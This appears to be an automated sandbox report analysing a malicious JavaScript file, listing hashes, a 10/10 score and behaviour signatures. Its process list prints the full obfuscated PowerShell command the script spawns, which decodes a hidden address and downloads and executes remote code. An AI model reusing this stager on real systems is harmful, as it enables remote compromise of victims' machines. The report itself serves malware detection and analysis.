Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:19
General
-
Target
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js
-
Size
186KB
-
MD5
f8cc29947420ead6b41047923c889282
-
SHA1
54b5cd5dd0247d2bbd29edd6dc532f78ceb4741a
-
SHA256
2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c
-
SHA512
2200b68bfca73feeb17c086aa931040d7a879fc8f6c4fac431b2f6e6bc0665f72608b2a506dd12c1523970532d0094573231bfb767d392252159ba20982f0ea1
-
SSDEEP
3072:nRvNtkiCga5CdZ1NtkiCBa5CdZ+a5CdZDNtkiCgNtkiCL:RlttdZXt4dZEdZZt3tw
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2a2535ac7f5a81a82f4506f95ce0bb122af037dce0c62dbd9d3d8068d0db764c.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $gsbawcfrq='ur' ;new-alias printout c$($gsbawcfrq)l;$vgimkjbshudp=(1629,1640,1648,1632,1634,1629,1649,1648,1653,1586,1648,1582,1629,1577,1647,1642,1643,1578,1580,1577,1643,1635,1643,1594,1646,1592,1640,1636,1641,1647,1646,1581,1580);$pbzosmyclnqtvj=('bronx','get-cmdlet');$ilxnqjosmbgew=$vgimkjbshudp;foreach($vsgcwdpbhyzou in $ilxnqjosmbgew){$fmtlcnrauikx=$vsgcwdpbhyzou;$vdhztap=$vdhztap+[char]($fmtlcnrauikx-1531);$wlrkxtoimebsn=$vdhztap; $hvbdmtjqkleusn=$wlrkxtoimebsn};$pxsvadi[2]=$hvbdmtjqkleusn;$prqzjvntufh='rl';$mztenkcxihlorp=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hvbdmtjqkleusn)1⤵
- Process spawned unexpected child process